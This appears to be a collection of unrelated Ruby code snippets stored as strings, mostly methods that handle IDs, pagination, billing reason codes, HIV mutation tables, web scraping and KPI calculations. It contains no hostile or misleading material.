"def find_undelivered_breakfast(delivery_ids)\n unique_delivery_id = 0\n\n delivery_ids.each_with_index do |id|\n unique_delivery_id ^= id\n end\n\n unique_delivery_id\nend",
"def custom_primer_exp_2\n [[0,0],[0,1],[0,2],[0,3],[0,4],[0,5],[0,6],[0,7],[0,8],[0,9],\n [4,0],[4,1],[4,2],[4,3],[4,4],[4,5],[4,6],[4,7],[4,8],[4,9],\n [1,0],[1,1],[1,2],[1,3],[1,4],[1,5],[1,6],[1,7],[1,8],[1,9],\n [5,0],[5,1],[5,2],[5,3],[5,4],[5,5],[5,6],[5,7],[5,8],[5,9],\n [2,0],[2,1],[2,2],[2,3],[2,4],[2,5],[2,6],[2,7],[2,8],[2,9],\n [6,0],[6,1],[6,2],[6,3],[6,4],[6,5],[6,6],[6,7],[6,8],[6,9]] \n end",
"def sliced_pids(pids)\n pids.each_slice(100).to_a\n end",
"def ticket_sales_keys\n [\n [15, 36, 37, 'Premieres Loges à 6 places, à 6 liv.', 115, 116],\n [26, 58, 59, 'Premieres Loges à 5 places, à 6 liv.', 137, 138],\n [29, 64, 65, 'Premieres Loges à places, à 6 liv.', 143, 144],\n [30, 66, 67, 'Loges au Rez-de-chaussée, à pl. à 6 l.', 145, 146],\n [31, 68, 69, 'Loges au Rez-de-chaussée, à pl. à 6 l.', 147, 148],\n [32, 70, 71, 'Loges au Rez-de-chaussée, à pl. à 6 l.', 149, 150],\n [33, 72, 73, 'Secondes Loges à 4 places, à 3 liv 15 sous', 151, 152],\n [34, 74, 75, 'Secondes Loges à 3 places, à 3 liv 15 sous', 153, 154],\n [35, 76, 77, 'Troisiemes Loges à 8 places, à 2 l. 10 s.', 155, 156],\n [16, 38, 39, 'Troisiemes Loges à 6 places, à 2 l. 10 s.', 117, 118],\n [17, 40, 41, 'Troisiemes Loges à 4 places, à 2 l. 10 s.', 119, 120],\n [18, 42, 43, 'Troisiemes Loges à 3 places, à 2 l. 10 s.', 121, 122],\n [19, 44, 45, 'Troisiemes Loges à places, à 2 l. 10 s.', 123, 124],\n [20, 46, 47, 'Quatriemes Loges à 4 places, à 3 l. 15 s.', 125, 126],\n [21, 48, 49, 'Quatriemes Loges à 3 places, à 3 l. 15 s.', 127, 128],\n [22, 50, 51, 'Places de Premieres à 6 liv.', 129, 130],\n [23, 52, 53, 'Places de Galerie à 4 liv.', 131, 132],\n [24, 54, 55, 'Places de Secondes à 3 liv.', 133, 134],\n [25, 56, 57, 'Places de Parquet à 2 liv. 8 sous.', 135, 136],\n [27, 60, 61, 'Places de Troisiemes à 2 liv.', 139, 140],\n [28, 62, 63, 'Places de Paradis à 1 liv 10 sous', 141, 142]\n ]\n end",
"def calculate_ids amount, offset\n return [] if @combinations.empty? # Checked here to avoid checking in each backend.\n\n # TODO Redesign such that ids is only created (and cached) if requested.\n #\n backend.ids @combinations, amount, offset\n end",
"def map_raw_ids( ids )\n ids ||= []\n ids = ids.values if ( ids.class == Hash or ids.class == HashWithIndifferentAccess )\n ids.map { | str | str.to_i }\n end",
"def get_bipolar()\n\t\tbipolar_patients = [225852588, 1523189252, 598856733, 608962592, 296166433, 16284706, 1956375589, 1107458226, 973227060, 2534848567, 22551612, 2634699844, 3362598982, 418408523, 240034893, 999428179, 826747988, 2873332822, 468366424, 116822107, 2997792101, 21092452, 2521396327, 1965159528, 236269677, 612987752, 80409724, 1472446590, 1369611404, 275718291, 3044144277, 537878682, 3071585439, 18064547, 2808969381, 1040789676, 1419858097, 2480699582, 1344779467, 1566058700, 2871874765, 586255574, 245219549, 2879552746, 997584109, 890409216, 2302976264, 2687654158, 1104536850, 1087659283, 1147083032, 1223074080, 384487714, 2699715876, 1941395749, 3301098796, 478091568, 2997538097, 2754306367, 259181892, 2950023496, 779130192, 312914266, 1096422758, 3353686378, 13009262, 311756151, 2711712128, 1431297410, 16081286, 221353356, 964256144, 2976785207, 2827170195, 108637252, 3293205915, 47967647, 2351302048, 1287172507, 951487916, 85176749, 51012014, 605200816, 149463624, 404322747, 20557244, 851091902, 2195611076, 449616665, 1352465874, 1434508758, 2659042212, 590388700, 1695357414, 2787124722, 1499293171, 222047488, 34318852, 955956744, 2357181962, 2337393168, 135964180, 2830685717, 60524054, 1599439393, 275984930, 2253016615, 92502577, 78240308, 859243062, 1689516600, 2925223485, 2933232196, 236482117, 3196047943, 2179200584, 545525516, 3047890520, 3178041952, 2975297152, 20194945, 761451138, 53754646, 523597454, 942202136, 493569687, 35486369, 270461605, 2325477030, 1171197608, 2531639068, 89842347, 3027488429, 562501294, 749849264, 1157997235, 3375417016, 1680938684, 45728445, 844221126, 28910279, 3283787468, 501824802, 1974223567, 2773499605, 1074974424, 620017370, 335988448, 2914552553, 220497652, 598213371, 2402038525, 561379072, 21823233, 464961283, 1615874822, 439179905, 1198315274, 139908880, 2173474581, 123687707, 2424064796, 546805534, 67405445, 995198754, 2874378024, 60079580, 30621487, 859332414, 1112651587, 1357902660, 2775696182, 3231349576, 23874379, 2347690564, 630949721, 143616860, 2844949343, 2320312174, 1257706351, 2200418160, 184095624, 581988233, 2767717274, 977449884, 1045167511, 386464679, 240864176, 1222900213, 325980108, 1435697101, 3254195151, 496109521, 2732336092, 134246394, 3049541599, 35887077, 2515279847, 55588847, 451615743]\n\t\tbipolar_patients.sample\n\tend",
"def rangify_gids(values)\n start_gid = 0\n\n [].tap do |ranges|\n values.each_cons(2) do |(_, first_idx), (sec_gid, sec_idx)|\n if first_idx != sec_idx\n ranges << [start_gid, first_idx]\n start_gid = sec_gid\n end\n end\n\n ranges << [start_gid, values.last[1]]\n end\n end",
"def histo_mids\n @histo_mids ||= histo_ranges.map { |x| (x[0] + x[1]) / 2 }\n end",
"def measure_ids(ids)\n \"measure_ids[]=\" + ids.join(\"&measure_ids[]=\")\n end",
"def filter_similar_pid(cutoff = 10)\n seq = self.dna_hash.dup\n uni_seq = seq.values.uniq\n uni_seq_pid = {}\n uni_seq.each do |k|\n seq.each do |name,s|\n name = name[1..-1]\n if k == s\n if uni_seq_pid[k]\n uni_seq_pid[k] << [name.split(\"_\")[0],name.split(\"_\")[1]]\n else\n uni_seq_pid[k] = []\n uni_seq_pid[k] << [name.split(\"_\")[0],name.split(\"_\")[1]]\n end\n end\n end\n end\n\n dup_pid = []\n uni_seq_pid.values.each do |v|\n next if v.size == 1\n pid_hash = Hash[v]\n list = pid_hash.keys\n list2 = Array.new(list)\n pairs = []\n\n list.each do |k|\n list2.delete(k)\n list2.each do |k1|\n pairs << [k,k1]\n end\n end\n\n pairs.each do |p|\n pid1 = p[0]\n pid2 = p[1]\n if pid1.compare_with(pid2) <= 1\n n1 = pid_hash[pid1].to_i\n n2 = pid_hash[pid2].to_i\n if n1 >= cutoff * n2\n dup_pid << pid2\n elsif n2 >= cutoff * n1\n dup_pid << pid1\n end\n end\n end\n end\n\n new_seq = {}\n seq.each do |name,s|\n pid = name.split(\"_\")[0][1..-1]\n unless dup_pid.include?(pid)\n new_seq[name] = s\n end\n end\n self.sub(new_seq.keys)\n end",
"def test_get_unique_codes_for_ids\n reason_code_ids = [100,101,102]\n reason_code_records = []\n reason_code_records << reason_codes(:reason_code100)\n reason_code_records << reason_codes(:reason_code101)\n reason_code_records << reason_codes(:reason_code102)\n assert_equal(\"5D;I8;C6\", ReasonCode.get_unique_codes_for(reason_code_records, reason_code_ids))\n end",
"def process_with_illegals! amount, offset, illegal_ids, sorting = nil\n # Note: Fairly inefficient calculation since it\n # assumes the worst case that the ids contain\n # all illegal ids.\n #\n calculated_ids = calculate_ids amount + illegal_ids.size, offset\n calculated_ids = calculated_ids - illegal_ids\n calculated_ids.sort_by! &sorting if sorting\n @count = calculated_ids.size # cache the count before throwing away the ids\n @ids = calculated_ids.slice!(offset, amount) || [] # slice out the relevant part\n end",
"def find_undelivered_breakfast(delivery_ids)\n hash = {}\n\n delivery_ids.each_with_index do |i, index|\n hash[i] = index\n end\n\n hash[1]\nend",
"def short_ids(images)\n images.map { |img| img.id.to_s }\n .map { |x| x[0..11] }\n .join(',')\nend",
"def ids\n options[:id][1..-2].split(\",\").map(&:to_i)\n end",
"def ssu_ids\n dwelling_units.map(&:ssu_id).compact.uniq\n end",
"def scrape_ids\n page_url = \"https://digital.ucas.com/search/results?SearchText=foundation+year&SubjectText=&ProviderText=&AutoSuggestType=&SearchType=&SortOrder=ProviderAtoZ&PreviouslyAppliedFilters=SH_3_UCAS+Conservatoires__QM_2_Bachelor+degrees+(with+or+without+Honours)__QM_1_Masters+degrees__&AcademicYearId=2019&ClearingOptOut=False&vacancy-rb=rba&filters=Destination_Undergraduate&filters=QualificationMapped_Bachelor+degrees+(with+or+without+Honours)&filters=QualificationMapped_Masters+degrees&DistanceFromPostcode=1mi&RegionDistancePostcode=&CurrentView=Provider&__RequestVerificationToken=mfmFi3xLLswWlC7EMDoZrwxo5DWYxKarqcKC6Xr1gDYo6PzGVdl8SvMXQ9zVWEQfqqD5bSnZHrPLKuglkceJqhpvSVMXE_SZb4Ofwkhpjf41\"\n unparsed_page = HTTParty.get(page_url)\n parsed_page = Nokogiri::HTML(unparsed_page)\n\n total_providers = parsed_page.css('[class=\"search-results__count hide-element--to-medium\"]').text.split[-2].to_i\n providers_per_page = parsed_page.css('[class=\"accordion__label\"]').count.to_f\n page = 1\n last_page = (total_providers/providers_per_page).ceil\n while page <= last_page\n page_url = \"https://digital.ucas.com/search/results?SearchText=foundation+year&SubjectText=&ProviderText=&AutoSuggestType=&SearchType=&SortOrder=ProviderAtoZ&PreviouslyAppliedFilters=QM_0_Masters+degrees__&AcademicYearId=2019&ClearingOptOut=False&vacancy-rb=rba&filters=Destination_Undergraduate&SubjectText=&filters=QualificationMapped_Bachelor+degrees+%28with+or+without+Honours%29&filters=QualificationMapped_Masters+degrees&DistanceFromPostcode=1mi&RegionDistancePostcode=&CurrentView=Provider&__RequestVerificationToken=Q1dB0fS_QUi_VlSFqALLL5TDQy385UPk0J4oHL_8aCTalPfN1sctXoCPMROstOf2EbHQJlbkJHfiLisqEF1qnaMsEFMf3EdFoUPKtqWx-Nc1&pageNumber=#{page}\"\n unparsed_page = HTTParty.get(page_url)\n parsed_page = Nokogiri::HTML(unparsed_page)\n page_providers = parsed_page.css('h3.accordion__label')\n page_providers.each do |page_provider|\n provider = {\n name: page_provider.children[0].text.strip,\n id: page_provider.attributes['data-provider-id'].value,\n website: '',\n number: '',\n email: '',\n courses: Array.new\n }\n @all_providers << provider\n end\n page += 1\n end\n end",
"def sdrm_nrti(aa_array,start_aa=1)\n out_hash = {}\n sdrm = {}\n sdrm[41] = ['M',['L']]\n sdrm[65] = ['K',['R']]\n sdrm[67] = ['D',['N','G','E']]\n sdrm[69] = ['T',['D']]\n sdrm[70] = ['K',['R','E']]\n sdrm[74] = ['L',['V','I']]\n sdrm[75] = ['V',['M','T','A','S']]\n sdrm[77] = ['F',['L']]\n sdrm[115] = ['Y',['F']]\n sdrm[116] = ['F',['Y']]\n sdrm[151] = ['Q',['M']]\n sdrm[184] = ['M',['V','I']]\n sdrm[210] = ['L',['W']]\n sdrm[215] = [\"T\",[\"Y\",\"F\",\"I\",\"C\",\"D\",\"V\",\"E\",\"S\"]]\n sdrm[219] = [\"K\",[\"Q\",\"E\",\"N\",\"R\"]]\n aa_length = aa_array.size\n end_aa = start_aa + aa_length - 1\n (start_aa..end_aa).each do |position|\n array_position = position - start_aa\n if sdrm.keys.include?(position)\n wt_aa = sdrm[position][0]\n test_aa = aa_array[array_position]\n if test_aa.size == 1\n unless wt_aa == test_aa\n if sdrm[position][1].include?(test_aa)\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n else\n test_aa_array = test_aa.split(\"/\")\n if (test_aa_array & sdrm[position][1])\n out_hash[position] = [wt_aa,test_aa]\n end\n end\n\n end\n end\n return out_hash\nend",
"def get_eob_slno_for_reason_codes(reason_code_id)\r\n eob_slno_for_secondary_reason_codes = []\r\n eob_slno_for_primary_reason_codes = []\r\n eob_slno_for_primary_and_secondary_reason_codes = []\r\n \r\n insurance_payment_eobs = check_information.eobs\r\n insurance_payment_eobs.each_with_index do |insurance_payment_eob, index|\r\n primary_reason_code_ids = []\r\n if insurance_payment_eob.category == \"claim\"\r\n primary_reason_code_ids = insurance_payment_eob.get_primary_reason_code_ids_of_eob\r\n if (!primary_reason_code_ids.blank? && primary_reason_code_ids.include?(reason_code_id.to_i))\r\n eob_slno_for_primary_reason_codes << index + 1\r\n elsif $IS_PARTNER_BAC\r\n insurance_payment_eobs_reason_codes = InsurancePaymentEobsReasonCode.find_by_reason_code_id_and_insurance_payment_eob_id(reason_code_id, insurance_payment_eob.id)\r\n eob_slno_for_secondary_reason_codes << index + 1 unless insurance_payment_eobs_reason_codes.blank?\r\n end\r\n else\r\n service_payment_eobs = insurance_payment_eob.service_payment_eobs\r\n unless service_payment_eobs.blank?\r\n service_payment_eobs.each do |service_payment_eob|\r\n primary_reason_code_ids = service_payment_eob.get_primary_reason_code_ids_of_svc\r\n if (!primary_reason_code_ids.blank? && primary_reason_code_ids.include?(reason_code_id.to_i))\r\n eob_slno_for_primary_reason_codes << index + 1\r\n elsif $IS_PARTNER_BAC\r\n service_payment_eobs_reason_codes = ServicePaymentEobsReasonCode.find_by_reason_code_id_and_service_payment_eob_id(reason_code_id, service_payment_eob.id)\r\n eob_slno_for_secondary_reason_codes << index + 1 unless service_payment_eobs_reason_codes.blank?\r\n end\r\n end\r\n end\r\n end \r\n end\r\n \r\n eob_slno_for_primary_and_secondary_reason_codes = eob_slno_for_primary_reason_codes + eob_slno_for_secondary_reason_codes\r\n return eob_slno_for_primary_and_secondary_reason_codes.uniq\r\n end",
"def cull_old_ids\n saved_ids = @ids.keys.reverse.take(@max_ids)\n @ids.select! do |k, v|\n saved_ids.include? k\n end\n end",
"def last_ids(number)\n (1 + size - number..size).to_a\n end",
"def promotion_id_dump=(ids)\n @previous_promotion_ids = ids.map(&:to_i)\n end",
"def get_payment_info_by_mfhds_ledgers(mfhd_ids, ledgers, conn)\n results = {}\n ledgers.each do |ledger|\n mfhd_ids.each_slice(1000) do |segment|\n query = payment_info_by_mfhds(segment, ledger)\n conn.exec(query, *segment) do |row|\n hash = {}\n mfhd_id = row.shift\n results[mfhd_id] = [] unless results[mfhd_id]\n hash[:invoice_id] = row.shift\n hash[:vendor_code] = row.shift\n hash[:invoice_num] = row.shift\n hash[:voucher_num] = row.shift\n hash[:invoice_status] = row.shift\n hash[:status_date] = row.shift\n hash[:invoice_date] = row.shift\n hash[:conversion_rate] = row.shift\n hash[:reporting_fund] = row.shift\n hash[:allocated_fund] = row.shift\n hash[:invoice_line_amount] = row.shift\n hash[:percentage] = row.shift\n cost_share = hash[:invoice_line_amount] * (hash[:percentage] / 100_000_000.0)\n converted_cost_share = convert_currency(hash[:conversion_rate], cost_share)\n converted_total = convert_currency(hash[:conversion_rate], hash[:invoice_line_amount])\n hash[:converted_inv_line_amount] = converted_total\n hash[:converted_cost_share] = converted_cost_share\n hash[:account_number] = row.shift\n hash[:ledger] = row.shift\n results[mfhd_id] << hash\n end\n end\n end\n results\nend",
"def busy_customers(deliveries)\n secs_in_month = 60 * 60 * 24 * 30\n hash = {} # {id: [time difference, # of deliveries]}\n ans = []\n deliveries.each do |id, time|\n if hash[id]\n last_time, delivery_num = hash[id]\n if time - last_time < secs_in_month\n delivery_num += 1\n hash[id][1] = delivery_num\n next\n end\n end\n\n hash[id] = [time, 1]\n end\n\n hash.each do |id, arr|\n ans << id if arr[1] >= 3\n end\n\n ans\nend",
"def sentinel_rt (aa_array,start_aa=1)\n out_hash = {}\n sen = {15=>\"KRS\", 16=>\"I\", 17=>\"N\", 18=>\"KRS\", 24=>\"*\", 41=>\"I\", 42=>\"KN\", 45=>\"KR\", 51=>\"KR\", 53=>\"K\", 71=>\"*\", 76=>\"K\", 79=>\"K\", 86=>\"K\", 88=>\"*\", 89=>\"KN\", 93=>\"EKR\", 99=>\"EKRS\", 110=>\"KN\", 112=>\"EKRS\", 113=>\"K\", 141=>\"EKRS\", 152=>\"EKRS\", 153=>\"*\", 155=>\"EKRS\", 185=>\"KN\", 186=>\"KN\", 190=>\"R\", 192=>\"K\", 212=>\"*\", 213=>\"KR\", 229=>\"*\", 231=>\"KRS\", 233=>\"K\", 239=>\"*\", 252=>\"*\", 256=>\"KN\", 262=>\"KR\", 266=>\"*\", 273=>\"EKS\", 285=>\"EKR\", 298=>\"N\", 302=>\"KN\", 305=>\"KN\", 316=>\"EKR\", 324=>\"K\", 337=>\"*\", 344=>\"K\", 352=>\"EKRS\", 364=>\"KN\", 378=>\"N\", 383=>\"*\", 384=>\"EKRS\", 396=>\"K\", 398=>\"*\", 401=>\"*\", 402=>\"*\", 404=>\"K\", 406=>\"*\", 410=>\"*\", 413=>\"KN\", 414=>\"*\", 415=>\"KN\", 426=>\"*\", 430=>\"KN\", 436=>\"R\", 438=>\"K\", 443=>\"N\", 444=>\"EKRS\", 449=>\"K\", 453=>\"KR\", 456=>\"EKRS\", 462=>\"ERS\", 471=>\"K\", 478=>\"KN\", 488=>\"K\", 490=>\"R\", 498=>\"KN\", 504=>\"KRS\", 511=>\"K\", 514=>\"K\", 516=>\"N\", 523=>\"KN\", 535=>\"*\", 541=>\"EKRS\", 543=>\"EKRS\", 544=>\"ERS\", 546=>\"N\", 549=>\"KN\", 555=>\"EKRS\"}\n aa_length = aa_array.size\n end_aa = start_aa + aa_length - 1\n (start_aa..end_aa).each do |position|\n array_position = position - start_aa\n if sen.keys.include?(position)\n test_aa = aa_array[array_position]\n if sen[position].include?(test_aa)\n out_hash[position] = test_aa\n end\n end\n end\n return out_hash\nend",
"def generate_kpi_from_key_counter(all_fomula,s1_ip,time_counter_hash,source_file,logger)\n\ncell_size=3\n\ntime_counter_hash.each do |start_time,one_time_counter|\n\n counter_hash=one_time_counter\n #logger.debug \"kpi calculation for start time=#{start_time}\"\n all_cell_hash=Hash.new\n\n all_fomula.each do |fomula|\n #puts fomula.name\n #logger.debug \"start calculate fomula #{fomula.name}\"\n\n fomula_hash=Hash.new\n\n #获取原始公式并替换处理\n new_fomula=fomula.fomula_exp1.gsub(/sum|avg|\\[|\\]/,\"\")\n #获取一个公示里面所有的counter,并存放在数组中\n counter_array=fomula.fomula_exp1.scan(/M\\d+C\\d+/)\n\n counter_array.each do |counter|\n fomula_hash[counter]=counter_hash[counter]\n end\n\n #logger.debug \"fomula hash=#{fomula_hash}\"\n\n# we need convert fomulu to map to the array we calculated above\n cell_fomula_array=[]\n\n 0.upto(cell_size-1).each do |i|\n\n new_fomula_2=String.new(new_fomula)\n formated_fomula=\"\"\n counter_array.uniq.each do |counter|\n\n if fomula.formularid==\"LTE_5218c\" || fomula.formularid==\"LTE_5023d\" || fomula.formularid==\"LTE_5017a\" || fomula.formularid==\"LTE_5017a\" || fomula.formularid==\"LTE_5035a\" || fomula.formularid==\"LTE_5082a\" \\\n || fomula.formularid==\"LTE_5114a\" || fomula.formularid==\"LTE_5035a\" ||fomula.formularid==\"LTE_5048b\" || fomula.formularid==\"LTE_5082a\" || fomula.formularid==\"LTE_5114a\" || fomula.formularid==\"LTE_5043a\" \\\n || fomula.formularid==\"LTE_5058b\" || fomula.formularid==\"LTE_5119c\" ||fomula.formularid==\"LTE_5025d\"\n formated_fomula= new_fomula_2.gsub!(\"#{counter}\",\"fomula_hash\\[\\\"#{counter}\\\"\\]\\[#{i}\\].to_f\")\n\n else\n formated_fomula= new_fomula_2.gsub!(\"#{counter}\",\"fomula_hash\\[\\\"#{counter}\\\"\\]\\[#{i}\\]\")\n end\n \n end #end of each counter sacn\n #save converted fomulr\n cell_fomula_array << formated_fomula\n\n #logger.debug \"formated_fomula=#{formated_fomula}\"\n end\n\n#logger.debug cell_fomula_array\n\n #对于每一个cell的公式\n cell_fomula_array.each_index do |index|\n all_cell_hash[\"#{start_time}_cell#{index}\"] ||={}\n # logger.debug \"calculation formuala=#{cell_fomula_array[index]}\"\n\n merged_hash=all_cell_hash[\"#{start_time}_cell#{index}\"]\n\n merged_hash[\"start_time\"]=start_time\n merged_hash[\"source_file\"]=source_file\n merged_hash[\"s1_ip\"]=s1_ip\n merged_hash[\"kpi_hash\"]||={} #KPI is empty\n merged_hash[\"scopelevel\"]=\"cell-#{index+1}\"\n\n begin\n #logger.debug cell_fomula_array\n kpi_result=eval(cell_fomula_array[index].to_s)\n logger.debug \"kpi_result=#{kpi_result}\"\n if kpi_result.kind_of?(Float)\n kpi_result=kpi_result.round(2).to_s+\"%\"\n end\n\n\n # logger.debug \"kpi result=#{kpi_result}\"\n merged_hash[\"kpi_hash\"]=merged_hash[\"kpi_hash\"].merge({fomula.name.to_s=>kpi_result})\n \n rescue Exception => ex\n # puts ex\n logger.debug ex.class\n\n \t#logger.debug \"merged_hash=#{merged_hash}\"\n \t#merged_hash[\"kpi_hash\"]||=Hash.new #KPI is empty\n \t#\traise unless merged_hash[\"kpi_hash\"].kind_of?(Hash)\n merged_hash[\"kpi_hash\"]=merged_hash[\"kpi_hash\"].merge({fomula.name.to_s=>\"#{ex.class}\"})\n end #end of rescue\n\n \n \n all_cell_hash[\"#{start_time}_cell#{index}\"]=merged_hash\n # puts merged_hash\n end # end of 3 cell calculation \n #logger.debug all_cell_hash\n\t\n end #end of all fomula\n\nall_cell_hash.each do |key,value|\n #logger.debug \"start_time =#{key},value hash size=#{value[\"kpi_hash\"].size}\"\n value[\"kpi_hash\"]=value[\"kpi_hash\"].to_s\n kpi=Kpi.where(:s1_ip=>s1_ip,:start_time=>value[\"start_time\"],:scopelevel=>value[\"scopelevel\"]).first\n \n if kpi.nil?\n Kpi.create(value) \n # else\n # kpi.update_attributes(value) \n end\n\nend\n\nend \n\n\n\nend",
"def track_ids(opts = {})\n limit = opts[:limit] ? opts[:limit].to_i : 10\n offset = opts[:offset].to_i # Defaulting to 0\n\n shuffler = Smoothie::Shuffler.new(favorite_track_ids, @seed)\n return shuffler.get(:offset => offset, :limit => limit)\n end",
"def ph_arr_mover_express\n puts \"\\n\\n#{\"=\"*40}STARTING ID SORTER METHOD 4: PHONE ARRAY MOVER (EXPRESS)\\nChecks for SFDC Core IDs with same Scraped Phone as Indexer and saves ID in array in Indexer/Scrapers.\\n\\n\"\n\n cores = Core.where.not(sfdc_ph: nil)\n counter=0\n cores.each do |core|\n sfdc_ph = core.sfdc_ph\n sfdc_id = core.sfdc_id\n\n indexers = Indexer.where(archive: false).where(phone: sfdc_ph)\n indexers.each do |indexer|\n phone = indexer.phone\n crm_ph_ids = indexer.crm_ph_ids\n\n counter+=1\n puts \"\\n\\n#{\"=\"*50}\\n#{counter}\"\n puts \"IDs: #{crm_ph_ids}\"\n puts \"CRM ID: #{sfdc_id}\"\n puts \"CRM Ph: #{sfdc_ph}\"\n puts \"Web Ph: #{phone}\"\n\n crm_ph_ids << sfdc_id\n final_array = crm_ph_ids.uniq.sort\n puts \"IDs: #{crm_ph_ids}\"\n puts \"Final: #{final_array}\"\n\n indexer.update_attribute(:crm_ph_ids, final_array)\n end\n end\n end",
"def paginate_ids(paginator)\n ids = result_ids\n if need_letters\n paginator.used_letters = @letters.values.uniq\n if (letter = paginator.letter)\n ids = ids.select { |id| @letters[id] == letter }\n end\n end\n paginator.num_total = ids.count\n ids[paginator.from..paginator.to] || []\n end",
"def content_video_ids limit=0, start=0\n (content_zset.revrange start, (start+limit-1)).map(&:to_i)\n end",
"def dec_rom_num_map\n {\n 3000 => \"MMM\",\n 2000 => \"MM\",\n 1000 => \"M\",\n 900 => \"DCCCC\",\n 800 => \"DCCC\",\n 700 => \"DCC\",\n 600 => \"DC\",\n 500 => \"D\",\n 400 => \"CCCC\",\n 300 => \"CCC\",\n 200 => \"CC\",\n 100 => \"C\",\n 90 => \"LXXXX\",\n 80 => \"LXXX\",\n 70 => \"LXX\",\n 60 => \"LX\",\n 50 => \"L\",\n 40 => \"XXXX\",\n 30 => \"XXX\",\n 20 => \"XX\",\n 10 => \"X\",\n 9 => \"VIIII\",\n 8 => \"VIII\",\n 7 => \"VII\",\n 6 => \"VI\",\n 5 => \"V\",\n 4 => \"IIII\",\n 3 => \"III\",\n 2 => \"II\",\n 1 => \"I\"\n }\nend",
"def get_random(limit)\n pids = []\n if limit == nil || limit.to_i==0\n limit = 50\n end\n\n # this is the object returned \n rec_results = {}\n\n## we want some suggestions\n## we get one from each series and then randomise those\n## gives better results than pure random\n\n si = 767 #distinct series\n arr = limit.times.map{ rand(si) } \n arr = arr.sort_by{ rand }.slice(0...12)\n st = arr.join(\",\")\n\n suggestions = []\n q0 = \"select distinct series_crid from just_series where id in (#{st})\"\n puts q0\n arr = []\n results3 = query(q0)\n results3.each do |r3|\n p = r3[0]\n arr.push(\"'#{p}'\")\n end\n txt = arr.join(\",\")\n\n q = \"select pids.* from pids,series where series.pid=pids.pid and series.series_crid in (#{txt}) group by series_crid\"\n\n puts q\n results4 = query(q)\n results4.each do |r4|\n sugg = {}\n ddtt = r4[6]\n crid = r4[3]\n pid = r4[4]\n pids.push(pid)\n desc = r4[5]\n prog1 = r4[1].to_s\n chan = r4[8]\n ct = r4[9].to_s\n st = r4[10].to_s\n\n text_date = process_date(ddtt)\n\n if(ddtt)\n sugg[\"date_time\"] = ddtt\n end\n if(text_date)\n sugg[\"text_date\"] = text_date\n end\n if(chan)\n sugg[\"channel\"] = chan\n end\n\n sugg[\"core_title\"] = ct.strip\n sugg[\"series_title\"] = st.strip\n sugg[\"pid\"] = pid\n sugg[\"description\"] = desc\n img = \"http://dev.notu.be/2011/04/danbri/crawler/images/#{pid}_512_288.jpg\"\n\n sugg[\"image\"] = img\n\n suggestions.push(sugg)\n\n end\n rec_results[\"suggestions\"]=suggestions\n rec_results[\"title\"]=\"Shuffled\"\n\n return rec_results,pids\nend",
"def determine_id_formula(id_array) #(item1, item2)\n return @id_formula[id_array.sort]\n end",
"def non_cabinet_position_ids\n non_cabinet_positions.map { |r| r[:id] }\n end",
"def new_id\n pattern = []\n num_per_section = [8,4,4,4,12]\n options = '1234567890abcdef'.chars\n\n num_per_section.each_with_index do |value, index| \n pattern[index] = ''\n value.times {pattern[index] += options.sample}\n end\n\npattern.join('-')\nend",
"def get_order_info_by_mfhds(mfhd_ids, conn)\n results = {}\n mfhd_ids.each_slice(1000) do |segment|\n query = order_info_by_mfhds(segment)\n conn.exec(query, *segment) do |row|\n hash = {}\n mfhd_id = row.shift\n hash[:po_num] = row.shift\n hash[:po_type] = row.shift\n hash[:po_approve_date] = row.shift\n hash[:po_id] = row.shift\n hash[:po_status] = row.shift\n hash[:line_item_id] = row.shift\n hash[:conversion_rate] = row.shift\n hash[:line_item_status] = row.shift\n hash[:reporting_fund] = row.shift\n hash[:allocated_fund] = row.shift\n hash[:po_line_amount] = row.shift\n hash[:percentage] = row.shift\n hash[:ledger] = row.shift\n cost_share = hash[:po_line_amount] * (hash[:percentage] / 100_000_000.0)\n converted_total = convert_currency(hash[:conversion_rate], hash[:po_line_amount])\n converted_cost_share = convert_currency(hash[:conversion_rate], cost_share)\n hash[:converted_po_line_amount] = converted_total\n hash[:converted_cost_share] = converted_cost_share\n results[mfhd_id] = [] unless results[mfhd_id]\n results[mfhd_id] << hash\n end\n end\n results\nend",
"def dids_911_list\n payload[:dids_911].nil? ? nil : payload[:dids_911]\n end",
"def one_hundred_symbols\n [\"A\", \"AA\", \"AAC\", \"AAN\", \"AAP\", \"AAT\", \"AAV\", \"AB\", \"ABB\", \"ABBV\", \"ABC\", \"ABEV\", \"ABG\",\n \"ABM\", \"ABR\", \"ABR-A\", \"ABR-B\", \"ABR-C\", \"ABRN\", \"ABT\", \"ABX\", \"AC\", \"ACC\", \"ACCO\", \"ACH\",\n \"ACM\", \"ACN\", \"ACP\", \"ACRE\", \"ACV\", \"ADC\", \"ADM\", \"ADNT\", \"ADS\", \"ADSW\", \"ADT\", \"ADX\", \"AEB\",\n \"AED\", \"AEE\", \"AEG\", \"AEH\", \"AEK\", \"AEL\", \"AEM\", \"AEO\", \"AEP\", \"AER\", \"AES\", \"AET\", \"AEUA\",\n \"AFB\", \"AFC\", \"AFG\", \"AFGE\", \"AFGH\", \"AFI\", \"AFL\", \"AFS-A\", \"AFS-B\", \"AFS-C\", \"AFS-D\", \"AFS-E\",\n \"AFS-F\", \"AFSS\", \"AFST\", \"AFT\", \"AG\", \"AGC\", \"AGCO\", \"AGD\", \"AGI\", \"AGM\", \"AGM-A\", \"AGM-B\",\n \"AGM-C\", \"AGM.A\", \"AGN\", \"AGN-A\", \"AGO\", \"AGO-B\", \"AGO-E\", \"AGO-F\", \"AGR\", \"AGRO\", \"AGS\", \"AGX\",\n \"AHC\", \"AHH\", \"AHL\", \"AHL-C\", \"AHL-D\", \"AHP\", \"AHP-B\", \"AHT\", \"AHT-D\", \"BKE\", \"AHT-F\", \"AHT-G\",\n \"AHT-H\"]\n end",
"def get_ids\r\n case id\r\n when 1 then [1,2,3,4,5] # superadmin\r\n when 2 then [2] # data\r\n when 3 then [3,4,5] # centeradmin\r\n when 4 then [4,5] # teamadmin\r\n when 5 then [5] # behandler\r\n when 10 then [10,11,12,13,14,15] # login_bruger\r\n when 11 then [11] # parent\r\n when 12 then [12] # teacher\r\n when 13 then [13] # pedagogue\r\n when 14 then [14] # youth\r\n else []\r\n end\r\n end",
